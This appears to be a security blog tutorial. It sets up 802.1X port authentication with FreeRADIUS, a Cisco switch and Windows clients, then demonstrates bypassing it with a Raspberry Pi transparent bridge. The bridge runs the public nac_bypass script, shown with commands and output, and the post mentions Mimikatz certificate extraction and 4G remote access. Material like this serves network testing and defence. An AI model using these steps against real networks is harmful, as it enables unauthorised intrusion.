802.1x provides an authentication mechanism for devices attempting to connect to Ethernet or Wireless networks. 802.1X requires three components.
- Supplicant – this is the device that will attempt to authenticate to the network.
- Authenticator – this is the network device responsible for controlling access to the network.
- Authentication Server – typically is server with an authentication database that uses the RADIUS (Remote Authentication Dial-In User Service) protocol.
This article will be looking at configuring 802.1X on a Cisco C3560 switch to authenticate Windows clients connecting to a LAN using a FreeRADIUS server, and then how an adversary could bypass authentication.
Configuring FreeRADIUS
For an authentication server, we will be using FreeRADIUS on Ubuntu server. You can install this using apt.
1 | sudo apt-get install freeradius freeradius-utils |
Next, modify /etc/freeradius/3.0/sites-enabled/default to include the following. The Cisco switch uses port 1645 by default.
1 2 3 4 5 | listen { type = auth ipaddr = 0.0.0.0 port = 1645} |
Add a test user to /etc/freeradius/3.0/users:
1 | test Cleartext-Password := "test" |
Edit /etc/freeradius/3.0/client.conf to include a shared secret the Cisco switch will use to communicate with the RADIUS server.
1 2 3 4 5 | client cisco_switch { ipaddr = 192.168.56.5 secret = testing123 require_message_authenticator = no} |
Next, we just need to start the service, and test authentication using the radtest command.
1 2 3 4 5 6 7 8 9 10 11 | root@aaa:/etc/freeradius/3.0# systemctl start freeradiusroot@aaa:/etc/freeradius/3.0# radtest test test 192.168.56.113 1645 testing123Sent Access-Request Id 8 from 0.0.0.0:40243 to 192.168.56.113:1812 length 74 User-Name = "test" User-Password = "test" NAS-IP-Address = 127.0.1.1 NAS-Port = 1645 Message-Authenticator = 0x00 Cleartext-Password = "test"Received Access-Accept Id 8 from 192.168.56.113:1812 to 192.168.56.113:40243 length 38 Message-Authenticator = 0x02f909b79bfde4fa511a548311ee1714 |
Cisco Switch Configuration
Enable RADIUS authentication on the switch using the following commands.
1 2 3 4 5 6 | aaa new-modeldot1x system-auth-controlaaa authentication dot1x default group radiusradius server freeradius address ipv4 192.168.56.113 auth-port 1645 acct-port 1646 key testing123 |
Verify authentication works using the test command.
1 2 3 | Switch#test aaa group radius test test legacy Attempting authentication test to server-group radius using radiusUser was successfully authenticated. |
Configure dot1x Authentication
Next you just need to configure a port to require dot1x authentication.
1 2 3 4 | interface GigabitEthernet0/0 switchport mode access authentication port-control auto dot1x pae authenticator |
Windows Client Configuration
With the switch configured, we just need to configure a Windows client to authenticate.
Open services.msc, and change the service “Wired AutoConfig” to startup automatically.
With that service running, the network adapter properties will include an authentication tab.
Ensure PEAP is selected, and click settings. Disable certificate verification, and set the authentication method to EAP-MSCHAP v2.
Click on advanced settings, and select user authentication and add your credentials.
You can determine if authentication was successful on the switch using the show authentication sessions command.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | Switch#show authentication sessions interface GigabitEthernet0/0 details Interface: GigabitEthernet0/0 MAC Address: 0800.2786.18f6 IPv6 Address: Unknown IPv4 Address: 192.168.1.98 User-Name: test Status: Authorized Domain: DATA Oper host mode: single-host Oper control dir: both Session timeout: N/A Common Session ID: C0A838050000000C000210A5 Acct Session ID: Unknown Handle: 0xA0000001 Current Policy: POLICY_Gi0/0 |
Attacking 802.1X
Ethernet port control presents a problem for adversaries attempting to connect into the network. There are a few ways around this.
- Connect to a port that isn’t protected by 802.1X. Often devices like printers don’t support 802.1x, so connecting into their ports may bypass authentication.
- Compromise a legitimate device and extract the network authentication credentials. A lot of organisations use certificate authentication for 802.1X. Certificates marked as non exportable can be extracted using Mimikatz.
- Insert a transparent bridge between an authenticated host and the switch, and inject packets. This is what we will be looking at next.
Transparent Bridging Attacks
We can use a Raspberry Pi with a USB Ethernet adapter and connect it between a desktop computer and the Cisco switch. By using transparent bridging, we can allow the EAPOL packets to be forwarded to the switch, allowing authentication and giving us access to the network.
To set this up install bridge-utils and ensure the netfilter bridge module is running then clone the nac_bypass git repository.
1 2 3 | sudo apt install bridge-utilssudo modprobe br_netfiltergit clone https://github.com/scipag/nac_bypass |
By default, the eth0 interface should be connected to the network switch, and eth1 should be connected to the victim PC.
Once everything is connected, run the script and wait around 30 seconds, and you should have network access on the device.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | ┌──(kali㉿kali-raspberry-pi)-[~/nac_bypass]└─$ sudo bash nac_bypass_setup.sh -a net.ipv6.conf.all.disable_ipv6 = 1Current MAC: 20:7b:d2:e3:04:76 (unknown)Permanent MAC: 00:00:00:00:00:00 (XEROX CORPORATION)New MAC: 00:12:34:56:78:90 (Camille Bauer)Current MAC: 00:12:34:56:78:90 (Camille Bauer)Permanent MAC: 00:00:00:00:00:00 (XEROX CORPORATION)New MAC: 20:7b:d2:e3:04:76 (unknown)tcpdump: listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes1 packet captured8 packets received by filter0 packets dropped by kernelreading from file /tmp/tcpdump.pcap, link-type EN10MB (Ethernet), snapshot length 262144reading from file /tmp/tcpdump.pcap, link-type EN10MB (Ethernet), snapshot length 262144reading from file /tmp/tcpdump.pcap, link-type EN10MB (Ethernet), snapshot length 262144arptables: Bad rule (does a matching rule exist in that chain?).arptables: Bad rule (does a matching rule exist in that chain?). ┌──(kali㉿kali-raspberry-pi)-[~/nac_bypass]└─$ ping 8.8.8.8PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.64 bytes from 8.8.8.8: icmp_seq=1 ttl=116 time=17.4 ms64 bytes from 8.8.8.8: icmp_seq=2 ttl=116 time=24.8 ms |
If we enable debug logging on the Cisco switch we can see the client successfully authenticates.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | debug dot1x allterminal monitor*Jan 2 00:55:41.098: dot1x-sm:[6c2b.596e.5cb6, Fa0/8] 0xB4000013:entering authc result state*Jan 2 00:55:41.098: dot1x-packet:[6c2b.596e.5cb6, Fa0/8] EAP Key data detected adding to attribute list*Jan 2 00:55:42.138: dot1x-ev:[6c2b.596e.5cb6, Fa0/8] Received Authz Success for the client 0xB4000013 (6c2b.596e.5cb6)*Jan 2 00:55:42.138: dot1x-sm:[6c2b.596e.5cb6, Fa0/8] Posting AUTHZ_SUCCESS on Client 0xB4000013*Jan 2 00:55:42.138: dot1x_auth Fa0/8: during state auth_authc_result, got event 23(authzSuccess)*Jan 2 00:55:42.138: @@@ dot1x_auth Fa0/8: auth_authc_result -> auth_authenticated*Jan 2 00:55:42.138: dot1x-sm:[6c2b.596e.5cb6, Fa0/8] 0xB4000013:entering authenticated state*Jan 2 00:55:42.138: dot1x-ev:[Fa0/8] Sending EAPOL packet to group PAE address*Jan 2 00:55:42.138: dot1x-registry:registry:dot1x_ether_macaddr called*Jan 2 00:55:42.138: dot1x-ev:[Fa0/8] Sending out EAPOL packet*Jan 2 00:55:42.138: dot1x-packet:EAPOL pak Tx - Ver: 0x3 type: 0x0 *Jan 2 00:55:42.138: dot1x-packet: length: 0x0004*Jan 2 00:55:42.138: dot1x-packet:EAP code: 0x3 id: 0xA length: 0x0004*Jan 2 00:55:42.138: dot1x-packet:[6c2b.596e.5cb6, Fa0/8] EAPOL packet sent to client 0xB4000013 |
In Conclusion
If an adversary can gain physical access to a switch port where a PC is connected, they could install a device to provide them with network access. Once installed, the victim machine would continue to operate as normal. Ideally, an adversary would want some form of remote access to the device such as a 4G connection.